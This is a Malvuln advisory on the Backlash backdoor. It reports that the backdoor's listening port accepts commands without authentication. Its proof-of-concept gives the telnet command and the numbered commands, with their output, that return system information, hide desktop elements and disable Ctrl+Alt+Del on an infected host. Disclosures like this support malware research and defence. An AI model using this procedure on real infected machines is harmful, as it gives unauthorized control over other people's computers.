Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/4ba3c08d8ad964328f2b6f618f714df2.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Backlash.101
Vulnerability: Missing Authentication
Description: BackLash Server 1.0 Alpha drops an executable named "d3d8thk.exe" under Windows dir and listens on TCP ports 11831 and 29559. Telnet to port 11831 allows anyone to retrieve basic system information and run some of the malwares built-in commands on the infected host.

Type: PE32
MD5: 4ba3c08d8ad964328f2b6f618f714df2
Vuln ID: MVID-2021-0085
Dropped files: d3d8thk.exe
Disclosure: 02/12/2021

Exploit/PoC:
TELNET x.x.x.x 11831

Enter the number 1 and hit enter and we see some system information returned.

1001Windows folder: C:\WINDOWS                                                                                          
System folder: C:\WINDOWS\system32                                                                                      
Product Key:                                                                                                            
Product Id:                                                                                                             
Cpu: Intel64 Family 6 Model 158 Stepping 9                                                                              
Temp folder: C:\Users\victim\AppData\Local\Temp\                                                                           
Windows version: Windows NT 6.2 9200                                                                                    
Minutes in windows: 157                                                                                                 
Computer name: DESKTOP-6BLAHNO                                                                                           
User name: victim                                                                                                        
Windows language: English (United States)                                                                               
Resolution: 1503x819                                                                                                    
NumLock state: Off                                                                                                      
CapsLock state: On                                                                                                      
ScrollLock state: Off                                                                                                   
Play sounds: Yes                                                                                                        
Free disk space: 2,774,273,536                                                                                          
Local host: DESKTOP-6BLAHNO                                                                                             
Clients connected: 1     

Continue entering numbers 2 - 9 and so forth.

2000 All icons in desktop are hidden now...
3000 Start button is hidden now...  
4000 Taskbar is hidden now...                                                                                           
5000 Task icons are hidden now...                                                                                       
6000 Task clock is hidden now...
7000 Monitor is off now...
8000 Ctrl+Alt+Del disabled...
9000 ScrollLock is off now...


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